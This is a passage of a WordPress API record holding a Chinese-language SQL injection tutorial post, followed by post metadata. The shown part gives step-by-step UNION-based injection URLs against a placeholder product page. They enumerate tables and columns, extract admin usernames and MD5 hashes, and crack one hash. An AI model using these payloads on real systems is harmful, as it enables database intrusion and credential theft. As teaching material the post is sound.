1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='admin' --+\n\u8fd4\u56de\uff1aadmins,config,logs\n\n-- 6\ufe0f\u20e3 \u83b7\u53d6admins\u8868\u7684\u5217\nhttp:\/\/target.com\/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='admins' --+\n\u8fd4\u56de\uff1aid,username,password,role,last_login\n\n-- 7\ufe0f\u20e3 \u63d0\u53d6\u7ba1\u7406\u5458\u51ed\u8bc1\nhttp:\/\/target.com\/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x3b),3 FROM admin.admins --+\n\u8fd4\u56de\uff1aadmin:5f4dcc3b5aa765d61d8327deb882cf99;manager:7c6a180b36896a0a8c02787eeafb0e4c\n\n-- 8\ufe0f\u20e3 MD5\u89e3\u5bc6\u5f97\u5230\u660e\u6587\u5bc6\u7801\n5f4dcc3b5aa765d61d8327deb882cf99 \u2192 password<\/strong><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udee0\ufe0f \u4f7f\u7528\u7684\u5de5\u5177 \u4e00\u3001SQL\u6ce8\u5165\u7684\u672c\u8d28 SQL \u6ce8\u5165\u5c31\u662f\u6307 Web \u5e94\u7528\u7a0b\u5e8f\u5bf9\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u5408\u6cd5\u6027\u6ca1\u6709\u8fc7\u6ee4\u6216\u8005 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":97,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[17,14],"class_list":["post-311","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learning","tag-sql","tag-14"],"_links":{"self":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts\/311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/comments?post=311"}],"version-history":[{"count":77,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts\/311\/revisions"}],"predecessor-version":[{"id":444,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts\/311\/revisions\/444"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/media\/97"}],"wp:attachment":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/media?parent=311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/categories?post=311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/tags?post=311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}